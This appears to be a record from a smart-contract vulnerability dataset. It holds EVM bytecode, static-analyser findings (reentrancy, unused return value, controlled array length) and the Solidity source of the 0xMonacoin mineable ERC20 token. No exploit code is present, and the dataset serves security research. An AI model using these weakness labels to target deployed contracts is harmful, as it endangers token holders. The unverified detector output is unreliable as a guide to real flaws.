fffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60065481565b6000836000600560009054906101000a900460ff1680156108f6575060065442115b156109c7576004805480600101828161090f9190612a0b565b91600052602060002090016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600560006101000a81548160ff021916908315150217905550600660009055600760006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b600480549050811015610bf757600481815481101515610a2657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19836000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610b3a57600080fd5b6102c65a03f11515610b4b57600080fd5b50505060405180519050508173ffffffffffffffffffffffffffffffffffffffff167fc5c9dc99cd438523399cb76c37c07e4cda018f9964a29e38e278efe297985c24826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28080600101915050610a0a565b600480549050600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550846000600560009054906101000a900460ff168015610c60575060065442115b15610d315760048054806001018281610c799190612a0b565b91600052602060002090016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600560006101000a81548160ff021916908315150217905550600660009055600760006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b600480549050811015610f6157600481815481101515610d9057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19836000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610ea457600080fd5b6102c65a03f11515610eb557600080fd5b50505060405180519050508173ffffffffffffffffffffffffffffffffffffffff167fc5c9dc99cd438523399cb76c37c07e4cda018f9964a29e38e278efe297985c24826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28080600101915050610d74565b600480549050600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb58888886123fb565b9450505050509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601281565b6a52b7d2dcc80cd2e400000081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561104b57600080fd5b33905061109f826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b590919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f6826001546127b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60048181548110151561115d57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156112b1576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611345565b6112c483826127b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000336000600560009054906101000a900460ff168015611453575060065442115b15611524576004805480600101828161146c9190612a0b565b91600052602060002090016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600560006101000a81548160ff021916908315150217905550600660009055600760006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6004805490508110156117545760048181548110151561158357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19836000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561169757600080fd5b6102c65a03f115156116a857600080fd5b50505060405180519050508173ffffffffffffffffffffffffffffffffffffffff167fc5c9dc99cd438523399cb76c37c07e4cda018f9964a29e38e278efe297985c24826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28080600101915050611567565b600480549050600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561184c57600080fd5b600560009054906101000a900460ff1615151561186857600080fd5b6001600560006101000a81548160ff0219169083151502179055508160068190555082600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4c4353000000000000000000000000000000000000000000000000000000000081525081565b6000336000600560009054906101000a900460ff168015611956575060065442115b15611a27576004805480600101828161196f9190612a0b565b91600052602060002090016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600560006101000a81548160ff021916908315150217905550600660009055600760006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b600480549050811015611c5757600481815481101515611a8657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19836000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611b9a57600080fd5b6102c65a03f11515611bab57600080fd5b50505060405180519050508173ffffffffffffffffffffffffffffffffffffffff167fc5c9dc99cd438523399cb76c37c07e4cda018f9964a29e38e278efe297985c24826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28080600101915050611a6a565b600480549050600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550846000600560009054906101000a900460ff168015611cc0575060065442115b15611d915760048054806001018281611cd99190612a0b565b91600052602060002090016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600560006101000a81548160ff021916908315150217905550600660009055600760006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b600480549050811015611fc157600481815481101515611df057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19836000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f0457600080fd5b6102c65a03f11515611f1557600080fd5b50505060405180519050508173ffffffffffffffffffffffffffffffffffffffff167fc5c9dc99cd438523399cb76c37c07e4cda018f9964a29e38e278efe297985c24826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28080600101915050611dd4565b600480549050600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061201487876127ce565b94505050505092915050565b60006120b182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ed90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122ff57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561233b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561243857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561248557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561251057600080fd5b612561826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ed90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126c582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156127c357fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561280b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561285857600080fd5b6128a9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ed90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515612a0157fe5b8091505092915050565b815481835581811511612a3257818360005260206000209182019101612a319190612a37565b5b505050565b612a5991905b80821115612a55576000816000905550600101612a3d565b5090565b905600a165627a7a723058200ef5bc3b8cbd2311ffbdba769e7f668689390b61a224a67bc9e25f61a4ba1ac40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,127 |
0x88e0acd80baf47d984a0ce29fa41ced0e23e087a
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// _ _ _ __ _ _ ___ __ ___ _ _
// / _ \ | \/ |/ _ \| \ | | /\ / ____/ _ \_ _| \ | |
// | | | |_ _| \ / | | | | \| | / \ | | | | | || | | \| |
// | | | \ \/ / |\/| | | | | . ` | / /\ \| | | | | || | | . ` |
// | |_| |> <| | | | |__| | |\ |/ __ \ |___| |__| || |_| |\ |
// \___//_/\_\_| |_|\____/|_| \_/_/ \_\_____\____/_____|_| \_|
//
// Official website: http://0xmonacoin.org
// '0xMonacoin' contract
// Mineable ERC20 Token using Proof Of Work
// Symbol : 0xMONA
// Name : 0xMonacoin Token
// Total supply: 200,000,000.00
// Decimals : 8
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
// return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract _0xMonacoinToken is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount; // number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 1024;
// a little number
uint public _MINIMUM_TARGET = 2**16;
// a big number is easier ; just find a solution that is smaller
// uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; // generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function _0xMonacoinToken() public onlyOwner{
symbol = "0xMONA";
name = "0xMonacoin Token";
decimals = 8;
_totalSupply = 200000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
//The owner gets nothing! You must mine this ERC20 token
//balances[owner] = _totalSupply;
//Transfer(address(0), owner, _totalSupply);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
// the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce);
// the challenge digest must match the expected
if (digest != challenge_digest) revert();
// the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
// only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); // prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
// Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
// set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber);
return true;
}
// a new 'block' to be mined
function _startNewMiningEpoch() internal {
// if max supply for the era will be exceeded next reward round then enter the new era before that happens
// 80 is the final reward era, almost all tokens minted
// once the final era is reached, more tokens will not be given out because the assert function
if(tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 79)
{
rewardEra = rewardEra + 1;
}
// set the next minted supply at which the era will change
// total supply is 20000000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div(2**(rewardEra + 1));
epochCount = epochCount.add(1);
// every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
// make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks
// do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
// https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F
// as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days
// readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
// assume 360 ethereum blocks per hour
// we want miners to spend 10 minutes to mine each 'block', about 60 ethereum blocks = one atlantis epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT;
uint targetEthBlocksPerDiffPeriod = epochsMined * 60; // should be 60 times slower than ethereum
// if there were less eth blocks passed in time than expected
if(ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod)
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
// If there were 5% more blocks mined than expected then this is 5.
// If there were 100% more blocks mined than expected then this is 100.
// make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); // by up to 50 %
} else {
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); // always between 0 and 1000
// make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); // by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) // very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) // very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
// this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
// the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
// 200m coins total
// reward begins at 500 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
// once we get half way thru the coins, only get 250 per block
// every reward era, the reward amount halves.
return (500 * 10**uint(decimals)).div(2**rewardEra);
}
// help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
return digest;
}
// help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x6060604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c7578063095ea7b314610255578063163aa00d146102af57806317da485f146102d85780631801fbe51461030157806318160ddd1461034957806323b872dd146103725780632d38bf7a146103eb578063313ce5671461041457806332e99708146104435780633eaaf86b1461046c578063490203a7146104955780634ef37628146104be5780634fa972e1146104ef5780636de9f32b146105185780636fd396d61461054157806370a082311461059657806379ba5097146105e357806381269a56146105f8578063829965cc1461065657806387a2a9d61461067f5780638a769d35146106a85780638ae0368b146106d15780638da5cb5b1461070257806395d89b411461075757806397566aa0146107e5578063a9059cbb1461083e578063b5ade81b14610898578063bafedcaa146108c1578063cae9ca51146108ea578063cb9ae70714610987578063d4ee1d90146109b0578063dc39d06d14610a05578063dc6e9cf914610a5f578063dd62ed3e14610a88578063f2fde38b14610af4575b600080fd5b34156101d257600080fd5b6101da610b2d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021a5780820151818401526020810190506101ff565b50505050905090810190601f1680156102475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026057600080fd5b610295600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bcb565b604051808215151515815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610cbd565b6040518082815260200191505060405180910390f35b34156102e357600080fd5b6102eb610cc3565b6040518082815260200191505060405180910390f35b341561030c57600080fd5b61032f600480803590602001909190803560001916906020019091905050610ce1565b604051808215151515815260200191505060405180910390f35b341561035457600080fd5b61035c610f71565b6040518082815260200191505060405180910390f35b341561037d57600080fd5b6103d1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fbc565b604051808215151515815260200191505060405180910390f35b34156103f657600080fd5b6103fe611267565b6040518082815260200191505060405180910390f35b341561041f57600080fd5b61042761126d565b604051808260ff1660ff16815260200191505060405180910390f35b341561044e57600080fd5b610456611280565b6040518082815260200191505060405180910390f35b341561047757600080fd